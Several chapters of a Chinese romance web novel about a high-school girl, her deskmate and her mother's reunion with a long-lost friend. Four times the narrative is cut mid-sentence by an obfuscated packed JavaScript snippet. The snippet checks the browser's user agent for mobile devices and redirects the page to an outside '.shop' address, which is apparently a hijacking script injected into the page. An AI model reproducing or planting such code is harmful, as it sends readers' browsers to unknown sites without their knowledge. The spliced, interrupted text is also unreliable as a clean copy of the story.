「希望65万个小时后,我们彼此成为依偎的荷叶尖的露珠,再随着阳光一起蒸发。然后我们一起成为,成为少女带着思念和痛苦写在纸张上彼此依偎的两个汉字,成为少女满怀期待制作的陶制杯子上的黑色小蛇和青色小蛇,成为少女种植的含羞草的棕色盆栽和泥泞的泥土,成为被少女带着懵懂爱意的愿望而丢进许愿瓶里的折纸星星,成为少女甜蜜的微笑和炙热的幸福的泪水。」 20. 20.打水 那天下山是在天快黑的下午三四点左右,姜青杳当时坐在副驾驶隔着贴膜的车窗望着盘桓的山路,山路旁边是茂密的树林,树林一丛丛,她从未觉得她的心有如此的开阔,就像是在飞翔。 回到学校后,姜青杳又开始了忙碌的预备高三生的生活。 她渐渐习惯了早上六点闹钟还差几秒响起来的时候就按住闹钟,然后爬起来就着黑暗摸索着盖在被子上的外套,从被子里掏出来昨晚就塞进去的内搭然后在被窝里穿好衣服。 意识到自己的进度还差一点之后,姜青杳克服了和老师说话的害怕,遇到不会的难题会抱着练习册跑去办公室去问老师,然后在上课铃响起来的时候和老师说再见,再匆匆忙忙跑回教室。 就连周三晚自习下的“宵夜时刻”,她也会和邵远年在温暖的车内一边听高考词汇的录音,一边吃着东西。休假的两天,她也会主动跑去邵远年的卧室去问他问题,让他帮忙辅导一下功课。 十一月的第一次八校联考就在这样紧张的氛围中到来了。 “姜青杳啊,你到时候看看有谁需要帮忙,没有的话你就负责打水和倒垃圾就行。” 拖着拖班车,上面放着两个还没有开封的水桶,姜青杳脑袋里还萦绕着生活委员的话。 因为明天就是八校联考了,今天周五的最后一节课的大扫除就显得格外重要。 按照值日表,这周留下来在学校大扫除的是最后两排的学生,其他值日生按照往常那样负责自己所在的区域。作为新转来的学生,姜青杳的活并不是专门负责某一区域的,而是打杂的。 这周给她安排的打杂的事项是打水和倒垃圾。 轻轻松松将拖车拉到楼下的姜青杳愣愣地站在一楼,看着身后两个水桶,再抬头望了望好几层刚被其他楼层的值日生擦亮的铁栏杆——她该怎么把这两个水桶运上去啊? “姜青杳。”咬字清晰的声音出现在她的身后。 被叫到名字的姜青杳下意识回头去看向喊住她名字的人。 是沈佩淑。 她似乎是刚从老师的办公楼出来,还抱着一叠厚厚的练习册,应该是今天刚改完的作业。 “拿着。”又是简短的几个字,沈佩淑走到姜青杳身边,将抱着的练习册放在她的手上。 刚从沈佩淑怀里交到她手上的练习册还带着她淡淡的馨香和温热的热感。 正想问沈佩淑她要做些什么的时候,姜青杳就看到她左手一个水桶右手一个水桶提了起来,走上了楼。姜青杳有些目瞪口呆,这桶水是大桶的配套饮水机的水桶,她需要两只手才能抱起来一个,但是沈佩淑居然可以一只手一个,而且还很轻松矫健地就这样上了一层楼。 沈佩淑转身喊姜青杳“愣着干什么”的时候就看到姜青杳愣愣地张大嘴看着她。 简直像极了码头上被海鸥抢走了薯条的游客,她没忍住笑出了声。 反应过来的姜青杳一手抱着练习册一手拖着拖车跑到沈佩淑旁边。 “沈佩淑,你笑起来真好看,”说着,姜青杳腼腆一笑,“谢谢你帮我提水桶。” 抿了抿唇,沈佩淑将笑容收敛,清了清嗓子:“不客气。” “你有见到姜青杳吗?垃圾桶满了,她人在哪里?”姜青杳刚到门口就听到站在讲台上擦黑板的人突然对着别人问道。正准备开口的姜青杳被沈佩淑重重地放在地上的水桶和地面碰撞的声音打断——“那教室里没水了,负责打水的人在哪里?”沈佩淑没好气地质问道。 大家也是第一次看到沈佩淑发脾气,都收了声不敢说什么。 擦黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661708|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板的林城新有些不好意思地挠挠头:“抱歉啊,我都是打扫完再去打水的……” 愣了愣,然后姜青杳摆摆手:“呃,不,你应该向沈佩淑道歉,是她帮我拿上楼的,嗯。” 气氛有些尴尬,林城新欲道歉的时候,沈佩淑理都没理周围的人,直接转身离开教室了。 待沈佩淑走后,教室里的人才开始小声说话行动起来。姜青杳的听力比较好,她捕捉到几个关键字眼——“孤僻”“怪人”……叹了口气,她确实是听不下去这样的话。 “沈佩淑人很好的,是她主动帮我把水抬上来的。”向来不喜欢参杂这种八卦的姜青杳没忍住开口解释道。被出声制止的两个人闭紧了嘴,也不好再说些什么了,低头装作继续打扫卫生。 六点半的晚自修铃声响起,姜青杳准时从后门溜进教室坐在座位上。 刚松口气就看到桌面上的果切盒子和还留着有水汽的冰橙汁,正一脸疑惑准备询问四周的人是不是放错了,她就听到沈佩淑主动和她搭话:“林城新给你的。” “啊?给我干什么?”姜青杳看向沈佩淑,讷讷地问。 沈佩淑转了转笔,看向讷讷的姜青杳,越发觉得眼前的人像是自己小时候去动物园看到的,在水面上发愣的一只水獭,于是清了清嗓子,开口继续说道:“他可能是觉得不好意思吧。” 教室有些吵闹,姜青杳有点没有听清,于是微微俯身靠近沈佩淑,说:“什么?” 刚洗过头发的淡淡的山茶茉莉花香随之靠近,沈佩淑一愣,随后冷冷地说:“没什么。” 也不是没有见过这样反差过大的沈佩淑,姜青杳点点头,没有说什么,就翻开了语文书准备背一下诗词,她有些文言文的释义还是不太清楚,还有一些成语的释义她还需要翻翻资料册。 21. 21.秘密 “啪!”一声响,整栋教学楼的电都停了,接着教学楼响起欢呼声。 突然的停电让正在对着打印的背诵手册默背知识点的姜青杳吓一跳,反应过来是停电后她下意识看向窗户外的世界,只要能够捕捉到一点光亮,她就不会畏惧这样和死亡挂钩的黑暗。 但是她没想到整个校园都停电了,周遭的事物都陷入一片漆黑,她莫名的恐慌起来。 好在她还坐在教室里面,大家还在嬉笑打闹,班长已经摸着黑上台拍了拍讲台大喊“安静”,但很快就被淹没在了大家的欢闹声中,班长只好跑去办公室去询问班主任这种情况怎么办。 待班主任来到教室的时候,大家已经把晚自修第一节课才用得上的台灯打开放在桌面上,教室里亮起不同颜色的灯光。最先拿出台灯的是沈佩淑,就在姜青杳有些害怕的时候,一道暖黄色的灯光打在她们的课桌上面,她有些讶异地看向沈佩淑,没想到对方只是淡淡地说“灯太亮了”。 有台灯的人不是很多,姜青杳是没有台灯的人之一。 班主任的高跟鞋响起,大家的嬉闹声才变得窸窸窣窣松松垮垮。 “是这片区域的电网出现故障了,在明天的联考之前一定能修好。” 这句话一出,大家又开始鼓掌欢呼,这意味着今天的晚自修除了学习什么都可以做了。 班主任没说什么,马上就是高三,第一次的八校联考前适当的放松也没什么问题。 姜青杳有些慌张,她的知识点还没有背诵完,明天第一场就是语文考试。 侧头看了看沈佩淑,发现对方正专心致志地看满是英文的名著小说,她抿了抿唇,一点点又一点点地将自己打印的背诵纸张挪到光亮更近的地方,然后用右手托腮偏着头看着纸张。 嘿嘿,她真聪明,借到光亮了。 “哗啦啦。”没多久,沈佩淑将名著小说的原版收了起来。 接着,姜青杳好不容易借到的光亮暗淡无光,沈佩淑收拾了一些书本和笔站了起来。 看样子是又要出去了,姜青杳只好作罢。 “走。”沈佩淑离开座位的时候只走了几步,就站在姜青杳的座位旁蹦出来一个字。 “啊?”姜青杳有些发愣,她指了指她自己,“我吗?” 沈佩淑嗤笑一声,她怎么发现她的同桌笨笨的,像是海里的□□肠的那种生物:“对,你。” 担心姜青杳傻乎乎的什么也不拿就跟着她走,她指了指桌上的资料:“记得拿资料和笔。” 第一次见沈佩淑和自己说这么久的话,姜青杳觉得有点受宠若惊,连忙清好东西跟着沈佩淑走出了教室,然后跟着她走到了这层教学楼的最角落,也是最靠近那次她们相遇的厕所的一个教室。 “帮我拿一下。”沈佩淑将刚刚一直拿在手上的亮着的台灯递给姜青杳。 姜青杳接过台灯,照着沈佩淑,就看着她拿出钥匙打开了面前教室的门。 我靠?! 本以为会有一股潮湿的灰尘尘的气息,没想到教室很干净,徐徐的风吹进来很清凉。 见姜青杳这样傻楞楞的样子,沈佩淑笑笑:“我的秘密基地。” “啊,那你,那你为什么带我来这里?”姜青杳指了指自己。 “因为我们是一个学习小组的,名次退步的话会有惩罚。”沈佩淑早就想好了借口。 她才不会说是因为看她在那偷偷“借光”的样子太过于好玩。 沈佩淑走到第一排的座位坐下,从抽屉里找出来一个台灯,放在桌子上照亮了半边黑暗的教室,然后就开始低头写自己的资料。写完一道选择题,发现姜青杳还呆愣愣地站在那,皱了皱眉。 “你不复习明天语文要考的诗词吗?”沈佩淑转着笔问。 “我能坐下吗?”姜青杳有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661709|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局促。 “……不然呢,我为什么喊你过来?”沈佩淑有些不太理解她的局促。 “台灯也给我用?”姜青杳又指了指她一直拿着的台灯。 “嗯。”沈佩淑懒得再讲那么多话了,低头继续写题。 小心翼翼挪动椅子坐在沈佩淑的旁边后,姜青杳看着她被暖黄色的灯光照耀的脸颊:“谢谢。” - 联考很快就结束了,托沈佩淑的福,那天晚自修她们在沈佩淑的秘密基地里学习了很久,直到宿舍快到熄灯门禁的时间,她们才奔回宿舍去洗漱睡觉,刚好她复习的内容考试也考到了。 八校联考后就是秋冬运动会,刚考完英语的那天下午学校就破天荒地提前小放了一天的假,等到周一的晚上再回来上晚自修,然后第二天举行完八校联考的颁奖仪式后就准备开秋冬运动会。 时间安排得很紧,但是姜青杳很开心,她又感觉有很久没有见到润润和妈妈了。 邵远年不算,她们几乎每天都在打电话发短信,周三的晚自修后总能见到他。 “妈妈!”姜青杳到姜家老宅后,一下电梯就直奔刚从外面回来的姜蝶。 姜蝶一身寒气,搂着姜青杳,发现她的气色很好,松了口气。自从姜青杳去新学校上学后,她就忙着她那边的事情,几乎很少回来,只好拜托邵远年帮忙照顾她的女儿,还好,照顾得很好。 “岁岁,妈妈前段时间很忙,现在终于忙完了,你不怪妈妈吧?”姜蝶抱着怀里的姜青杳,摸着她的短发,还有些诧异怎么那么喜欢扎高马尾的小宝现在剪短了短发。 “不怪,”姜青杳像是小猫一样蹭了蹭姜蝶,“妈妈,你是又回去舞蹈室了嘛?” 想起好久没有见的老友,姜蝶的眉眼温柔,“嗯”了一声:“算是。” “说起来,你还记得成烟阿姨吗?”姜蝶松开怀抱,问眼前的人儿。 22. 22.再次重逢(支线) (本章可以搭配伍佰的单曲《泪桥》食用。) 姜蝶没想到再次见到自己昔日的好友是在医院附近的小饭馆。 时间回到十分钟前。 姜蝶攥紧了李愿医生开出的检查报告单,坐在医院回廊的蓝白色座椅上,“但,你肯定会留疤,几厘米长的伤疤就算尽力保养,也会或多或少有疤痕”刚刚从李愿医生嘴里说出来的话萦绕在她的脑海,她不由得皱眉轻抚上自己缠着绷带的左手,有种酥酥麻麻的感觉,是伤口在愈合的瘙痒。 没多久,张妈打开了姜蝶身旁的门。 张妈是看着姜蝶长大的,因为身体原因没有孩子,几乎是把姜蝶当成自己的孩子来看待。 大概知道张妈要说些什么安慰人的话,姜蝶笑笑,将报告单对折塞进口袋里:“回家吧。” 姜蝶和张妈从门诊楼走出来,院内不远处的小饭馆的饭香味吸引到了姜蝶,姜蝶看了看手表,发现现在时间才十点过一点,不由得感慨一句:“这么早就开始准备午饭了吗?” 张妈寻声望过去姜蝶说的小饭馆,笑了笑:“那个呀,是爱心食堂。有的家属想给病患弄点吃的,只要给一块钱放在篮子里就可以用自带的菜在那里炒菜了,一般都是24h营业的,调料和炒锅这些都是经营这个爱心食堂的妹子准备好的。”姜蝶有些惊讶,她确实没听过这个“爱心食堂”,不过突然想起来她昏迷的那几天姜青杳几乎天天啃馒头吃大白粥配榨菜或者霉豆腐,心里有点不是滋味。 医院的停车位总是不够,家里司机提早将车停在了医院外,需要穿过一条小巷子。 姜蝶很喜欢走在这样拥挤的街道,走进小巷子之前会路过一段窄小的路,路的两旁在早餐时间会堆满红色的塑料凳子,店里没有座位的人就会蹲在塑料凳子上吃饭,再没有塑料凳子的情况下也就会端着米线或者热干面站在街头吃,更忙碌的人会一边走一边端着碗吃赶去自己的目的地。 记得第一次这样蹲在塑料凳子上吃饭是和成烟一起。 成烟是从华中省的小城市独自拼搏到省会城市启明市来的,那个城市在遇到成烟之前,姜蝶几乎是没有听过。成烟当时有点急,想起来手里的米酒,然后说她的家乡的特产就是米酒,姜蝶才恍然大悟,有时候去超市确实会看到一大排包装上写着孝阳米酒的米酒罐罐。 那天两个人忙完社团活动肚子饿急了,坐公交车还得被启明超级飞车司机颠来颠去,要是没有座位她们估计都没什么力气抓紧扶手站稳在飞速行驶的公交车上了,于是刚走出养老院没几步就随便进了个小巷子找饭馆吃。 那个时候正是吃饭的时候,人很多,成烟牵着姜蝶的手大步去了一家小饭馆,问姜蝶想吃什么,点完单就进饭馆准备找座位,结果环绕一圈发现都坐满了。 姜蝶有点失落,如果打包回去饭都凉了,也违背了来这家小饭馆吃饭的初衷。 只见成烟问老板要了两个红色塑料凳子搬到了店门外,说“就在这吃吧”,正纳闷该怎么吃的时候,姜蝶就看着老板将她们点的米粉放在了塑料凳子上,成烟将刚拿的塑料筷子擦了擦递给站着纳闷的她,然后就蹲在凳子前吃起来。 于是姜蝶也跟着蹲下来了,万幸两个人今天为了社团活动穿的都是裤子蹲下来也不会担心走光什么的。 那天米粉的味道是什么样的,姜蝶早忘记了。 她只记得那天天黑得很早,小巷子口有叫卖收破烂的声音,窄小的街道两旁都亮着霓虹灯,大多都是红色底的牌子白色的字亮着招牌。她们两个人蹲在塑料凳子前嗦粉,背后是被白炽灯照亮的小饭馆,她们背着光填饱肚子。 在那之后,姜蝶就不起早床去食堂坐着吃饭了,总是和成烟一起踩点起床然后去食堂急匆匆来一碗热干面或者几个包子又或者是花卷馒头,然后一边在人越来越少的街道疾走一边端着碗快速吃着,每次到教学楼的垃圾桶那总能吃完,然后丢进垃圾桶里拿出包里的卫生纸擦擦嘴继续疾走进教室的第一排。 叶知舟是西北来的,他第一次注意到姜蝶还是因为有次起晚了,匆匆忙忙抱着专业课的书跑,就见到姜蝶和成烟两个人端着碗一边吃一边疾走,他属实是震撼到了。 后来为了多拿一点学分参加了学校的活动,在那次的大礼堂看到成烟编排的舞台剧,姜蝶作为舞台剧的女主角在幕布拉上的时候穿着黑色的长裙快步跑去舞台侧边牵着成烟出来一起向观众谢幕敬礼。那样的神情能让叶知舟很明显地看出来姜蝶现在不再是剧中的女主角,姜蝶是和舞台剧中内敛的那个女主角全然不同的人。 于是,他开始刻意去关注姜蝶的演出,不再是为了学分。 由于他常常拿出抢教授讲座的热情,姜蝶的许多次演出他都能顺顺利利地抢到第三排中间的座位,姜蝶也慢慢眼熟了叶知舟。再后来,三个人成为了很好的朋友,经常一起跑到学校的小吃街坐在支起的帐篷里面吃夜宵,那是最好的时光。 姜蝶深深吸了口气,然后将郁结吐出,最近她常常这样做来平复自己的内心。 “……小蝴蝶?!”是有些熟悉的称呼。 姜蝶顿时停住了脚步,有些不敢相信,呆滞地回头,却没看到熟悉的人。 在一旁吃早餐的成烟见有些眼熟的身影侧过了身子,眼熟的面容逆着阳光出现在她面前。于是她慌慌忙忙拍了拍身旁的助理,从口袋里拿了手帕擦了擦沾了芝麻酱的嘴,将随手用笔挽起来的头发放下,也不顾肠胃会痛就那样大步跑向了姜蝶,一边跑一边挥手:“这边!这边!我在这!” - 2000年的农历新年,成烟在咕噜咕噜冒着热气的火锅烟雾中拿起酒杯站了起来,说:“我要去国外了,过完年就走。”说完,就仰头一口将酒杯里的白酒闷了,然后坐在座位上低头闷闷地看着火锅。 当时六岁不到的姜青杳正搬着小板凳准备放在饭桌旁的木凳子上,然后再嘿咻嘿咻地爬上去和大家一起“平起平坐”,听到成烟阿姨说的话,有些愣住了,然后眨巴眨巴眼睛:“国外?远吗?” 再后来,姜青杳对于成烟阿姨的轮廓就停在那天叶知舟抱着她站在机场看到的背影。 不过每年的节假日和纪念日,姜蝶都会拿过来一个包装精美的快递盒递给姜青杳,然后告诉她这是成烟阿姨送给她的礼物,每次拆礼物的时候姜青杳都会想起那天穿着酒红色大衣卷着大波浪卷的背影。 越洋电话,是成烟刚到国外那几年和姜蝶唯一的联系方法。 大部分时候是姜蝶插入电话卡,站在红色的电话亭下拨通那个熟悉的号码,然后静静等待国外的成烟接起电话。 后来,□□的普及,姜蝶不再拿着电话卡步行五分钟到街道的红色电话亭,而是坐在电脑屏幕前敲打着键盘。 再到后来,姜蝶买来了摄像头和头戴式耳机,常常在下班后的夜晚和成烟视频通话。 姜青杳有时候会和成烟说点什么,不过她的动机很明确的是她想玩电脑上的页游,一等视频通话挂断她就一屁股挤开姜蝶熟练地点开网页游戏输入自己的账号和密码,用鼠标操纵自己的角色,然后偷偷趁姜蝶不注意输入自己在学校旁边的小卖部买的电话卡充值到游戏里面,给自己的角色换上漂亮的衣服再去种地收菜。 这样的日子一直持续到2006年的1月29号。姜蝶按照以往的时间登上了□□,发现好友列表里成烟的头像是灰白的,于是点开了小窗发了信息:“在干嘛?你在波兰玩得开心吗?” 这样的寂静一直维持到2006年的1月30号,姜蝶在午睡醒来翻看消息发现中国日报网站的信息,才知道成烟去的展览大厅的屋顶坍塌了。 “坍塌事件已经造成至少66人死亡,141人受伤”的这行字姜蝶呆呆看了很久。 “只是□□没有上线而已,我还有电话,我还有地址……” 姜蝶一边不断重复这样的话语一边翻找着记载着成烟各种电话号码和地址的通讯录。 明明很多号码的11个数字她闭着眼睛都可以在键盘上按出来,但是她还是固执的一个数字一个数字地对着输入号码、拨通、挂断,这样反复循环了五六次,所有的号码都没有办法接通。 那一刻姜蝶觉得自己很崩溃,她没想到自己和成烟的那条线居然那样脆弱,她以为那是一根可以扭转各种形状的铁丝,只有用老虎钳才可以用力地掰断她们的存在,但是直到出了事情她才知道这就是一根随时会断掉的头发丝。 她和成烟隔着不知道多少公里,无法飞翔的数字和呆板写在信封上的地址是她们唯一的羁绊,但这样的羁绊最终也只是水珠笔、信纸和虚拟的互联网数据。她真的要崩溃了,崩溃到失语。 那之后姜蝶因为失语无法再上台表演,她黯淡地退出了她毕业就加入的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661710|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧团。 在家修养的那段时间姜蝶一直在写信,将各种各样的信寄给成烟曾经寄过来的明信片的地址。 再之后,叶知舟为了让姜蝶换换心情,带着她们搬了家,姜蝶开了一家舞蹈室。 - 屋顶崩塌后成烟尝试过逃跑,但是被尖叫着想要逃离的人群踩在了脚下,最终昏迷过去。幸运的是她最终被自愿参加救助行动的民众的猎犬发现了,倒霉的是她躺在病床修养了很久,忘记了她的社交账号以及密码,等到回到住处收到了助理发来的电报和拿过来的信的时候已经是几个月后的事情。成烟尝试过拨打姜蝶的电话,尝试过将信寄给当时寄给她的地址,但是全都石沉大海。 那段时间成烟做的最多的事情就是衔着有爆珠的细长烟,一边烦躁地拿着笔在剧本上修修改改,一边盼望着旁边的手机再次响动铃声。每隔一段时间就会有退回的信件被投递回它们最初的起点,翻看信件原本是交给助理做的事情,成烟为了能够更快更早地拆开来自“姜蝶”的信,将这件事情又揽回自己做了。 当然,希望越大失望越大,几个月过去了,成烟发现她好像真的把自己最好的朋友弄丢了,她索性又把这件事情丢给助理做。 就这样,2008年到来了,事情的转机出现了。 2008年是北京奥运会举办的年份,也是改革开放30周年,越来越多的外国友人看到了中国。那年成烟躺在客厅看完了奥运会的闭幕仪式,随后就发信息给了自己的经纪公司——她不续约了。 随后就是争吵,取证,散伙。 在此期间,成烟让助理帮忙成立的专属于“成烟”这个剧作家的网站正式运转。 成烟依旧是让助理帮忙沟通联络有意和她合作的人,直到09年的11月她打开自己的邮箱,发现有一个落款为“x”的陌生人每天都在发邮件给自己。成烟发现最开始的邮件,助理都已读了,直到后面助理就没有管X人士发来的任何邮件了,可以肯定,这不是什么重要的邮件,也不是商务合作。 但是出于好奇的心理,成烟点开了邮件,发现X人士并没有发冗长的信息来骚扰她,只是每天留下一句话:“您好成烟女士,我非常喜欢您之前创作的剧本《连理枝》,希望您可以回国和姜蝶女士合作。” 《连理枝》是成烟送给姜蝶和叶知舟结婚一周年的礼物,根据她们的故事改编。 鼠标的箭头指向“姜蝶”这两个字,成烟叹了口气,点燃了一支烟。 烟的红色星火逐渐黯淡,成烟在那一刻想明白了事情,拿起电话:“帮我订回国的机票。” - 成烟说了很多,直到搁置在两人面前的咖啡已经冷却,她才将故事堪堪讲完。 姜蝶深深地看着坐在对面的依旧黑发的女人,想起来自己出门前梳头发时梳落的几根白发,蹉跎岁月,没想到一场雪崩让她们人生差点就像是两条相交线,当她们的人生出现交集后便向着不同的方向驶去,直到她们之间的距离越来越大,她们的心也越来越远。好在,兜兜转转,她们再见。 姜蝶手摩挲着咖啡杯的杯沿,无名指的戒指在阳光下闪闪发亮,她又看向成烟戴满玉石戒指的手,问:“后来呢?你在国外那几年,过得好吗?”成烟拿起咖啡喝了一口,说:“还好。” 成烟没有继续客套的反问,她知道答案,她也不愿意再提起已经过去的事情。 “那就好,那就好。”姜蝶低头笑笑。 两年多的断联,让她已经不知道该和成烟说些什么。 她们的人生早在成烟去国外的那一刻就出现了裂缝,就像是越拉越长的胶水条,在没有了来往后她们的红线总会因为时间的长久而固化断掉。就算即使挽救,也变得干裂、易碎。 “我找了你很久。”成烟继续说。 “我回国后就去你家找你,发现户主已经换了人。后来我又去你寄信给我的那些地址去找你,我发现打开门的都不是你。再后来,我就去我们学校蹲点,因为我记得你说,如果不在剧团表演的话,你很有可能选择回大学教大家跳舞。但是又错了,你没有,我完全不知道你在哪里。” 成烟将那些飞奔走的时间草草掀起,垂眸看向姜蝶依旧戴着戒指的手,伸手握住她冰凉的手,用自己的温度去温暖她,告诉她,她的心脏依旧为她热情:“不过好在,现在我找到你了。” 23. 23.月台 姜青杳没有想到自己会在邵远年以外的人的带领下来到“大饭堂”,她愣愣地站在金黄色牌匾下面,再扭头看了看身旁的人确实是姜蝶,于是又低头拿出手机看了看时间——她陷入了循环?! 见身旁的小宝这样呆愣的模样,姜蝶以为是许久不见成烟有些尴尬害羞,拉了拉她的手,两双温热的手相互交叠,在有些寒冷的即将入冬的日子里一起依偎:“别紧张,成烟阿姨可喜欢你了。” 跟着店员走在那条有些熟悉的长廊里,姜青杳想起来姜蝶曾经说过她和成烟阿姨还有叶知舟在上学的时候很喜欢吃的一家饭店,难道就是这家饭店?恰巧它差点倒闭,成烟阿姨就接手了? 望着那些不同国家的摄影照片,她又想起来2000年那顿火锅,脑海里浮现出穿着酒红色大衣卷着大波浪卷的红发女子,成烟阿姨总是会见到她后用各种热烈的红色口红亲她的脸颊表达亲昵。 “到了。”服务员敲了敲门,鞠躬后便离开了。 姜蝶将门打开的时候,姜青杳有些翘首以盼,她不知道成烟阿姨现在是不是和以前那样炙热。 门打开了,一个黑长直头发穿着素雅的黑色旗袍的女人出现在她们面前。 成烟听到开门声,随手把抽的女士香烟摁灭在烟灰缸里面,然后打开了窗户再回头——虽然她在照片上看过姜青杳的长大变化,但是也有近乎两三年没有联络了,看着眼前清清纯纯的一头清汤寡水短发的少女,像是亭亭玉立的莲花,又像清清冷冷的竹子,和以前的婴儿肥不太一样了。 “岁岁呀?”成烟愣了愣,踏着粗跟高跟鞋走到面前,拉着姜青杳的手左看看右看看。 姜蝶就笑眯眯看着成烟拉着姜青杳转圈圈,姜青杳有些无措地被成烟拉着跳了一曲舞。 “比你妈妈还高了,”成烟比了比两个人的身高,随后笑笑,“但是还是没我高。” 小的时候,姜青杳最喜欢和成烟比身高。 成烟身高有一米七五,很高,和她比身高的姜青杳像是一团圆润的鱼丸。 姜青杳有些怯生生地观察着成烟,发现她和以前不太一样了,没以前炙热了。 她突然想到最近听的一首歌——《《生命还是一样的…月台》里面后半段的歌词: 「生命它只是个月台,你来的目的就是离开。」 她又望向一旁显然已经有些疲老的姜蝶,但是她的面上挂着这段时间以来最热烈的笑容。 “嗯,成烟阿姨好。”她抿了抿唇,有些细声地打着招呼。 “诶,好,好。”成烟笑笑,擦了擦眼角的眼泪。 后来吃饭的时候,成烟和姜蝶一边吃一边聊了许多大学的事情,很多事情都提到了叶知舟。姜青杳第一次听到那件事情后,姜蝶笑着说着有关“叶知舟”的事情,她突然意识到友谊的强大。 她暂时还没有这样的朋友,她的朋友总是阶段性的,怪她懦弱怪她胆小,分开之后她总是不擅长维系远距离的社交,哪怕她口里的远距离只是短短的几公里。 这样想着,姜青杳又看向成烟,再看看姜蝶,她们的距离或许长达几千公里,又或许是无法测量的距离,但是她们兜兜转转又见面了。她挺羡慕这样的友谊的。无论多久无论何时何地,只要她们中的一方奔向另一方,另一方总会是热情地拥抱住她。 不知道怎么的,她突然想起了邵远年,心情突然像是玻璃杯里的雪碧气泡咕噜咕噜的。 眨了眨眼睛,姜青杳赶忙拿起玻璃杯一口喝下去,想要吞咽下去那种不可说的心情。 但是雪碧的气泡让她没忍住打了一个嗝儿,虽然她及时捂住嘴巴了。 正在说话的两个人听到声音,没忍住望着姜青杳笑,成烟直接调侃她:“小时候每次聚餐,你都是只管自己吃饱了就想下桌,那个时候你就会打一个嗝儿告诉我们你吃饱了。” 明明没喝酒,姜青杳觉得有些晕乎乎的了,脸红润起来,挠了挠头:“我现在还没吃饱,刚刚是喝雪碧喝急了打了个嗝儿。”说罢,她拿起玻璃杯站起来敬成烟一杯:“谢谢您回来了!” 说完,姜青杳就一口像是闷酒一样把饮料咕噜咕噜吞下去了。 “岁岁长大了,还学会敬酒了,”成烟笑着把白酒瓶子拿起来准备直接吹,“来来来,阿姨给你表演一个,绝对不让你白敬酒啊。”酒瓶子立马被姜蝶拦下来,她晓得成烟喝醉酒有点发酒疯。 这种情况小时候过年常常会发生,姜青杳望着两个人,甜蜜又幸福地笑了。 那天和邵远年一起去山上寺庙许的愿望真的有用。 望着成烟和姜蝶打闹的模样,姜青杳突然很想见邵远年,立刻,马上,现在。 - “邵远年!”刚从昏睡的药物作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661711|188470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用中醒来的邵远年就听到姜青杳雀跃的声音。 有些迷茫地揉了揉眼睛,邵远年趿着厚实的拖鞋走到窗台前,就发现穿得毛绒绒的粉色一团的少女在阳台的走廊那里挥手,像是外面下雪了迫不及待喊他出门一起堆雪人一样雀跃。 “怎么啦?”邵远年刚睡醒,声音还有些低沉,嗓音缱绻。 姜青杳的脸红了又红,她也不知道怎么了,她只知道她想见他,很想很想。 “你要不要,和我一起出去逛逛?”姜青杳歪着头,手背在身后。 最后还是没有出去逛,外面天已经黑乎乎,有些凉意,姜青杳和邵远年就在屋内打游戏。 玩的是很简单的双人操作的丧尸危机游戏,姜青杳扮演的是来这块已经被感染的区域寻找药剂的雇佣兵,邵远年扮演的是士兵的助手。游戏倒是不怎么吓人,就是拿武器biubiubiu丧尸就行了,但是有些配乐和追击战还有突脸有点吓人,吓得姜青杳睁一只眼睛闭一只眼睛打游戏。 “邵远年。”姜青杳见两个人开始搭乘电梯了,松了一口气,喊住他的名字。 “嗯?”邵远年还看着电视屏幕里的人物,在四处环顾电梯周围有没有丧尸。 “我今天见到一个小时候对我很好的阿姨了。”她继续说着,慢悠悠掏枪扫射丧尸。 游戏里的人物顿了顿,一个丧尸扑了过来,邵远年快速用体术踢飞了丧尸:“然后呢?” “她们已经认识有二十多年了吧?”姜青杳在心里数了数年份,“但是着二十年里有九年她们都不在一个地方,有三年彻底失联,可是她们就这样兜兜转转又见面了,又是这样好的朋友了。” 游戏开始进行过场动画,邵远年看向姜青杳,发现她眼角有些微红。 “我突然好羡慕。我的朋友都是阶段性的,我好佩服她们的友谊如此强大。”姜青杳说。 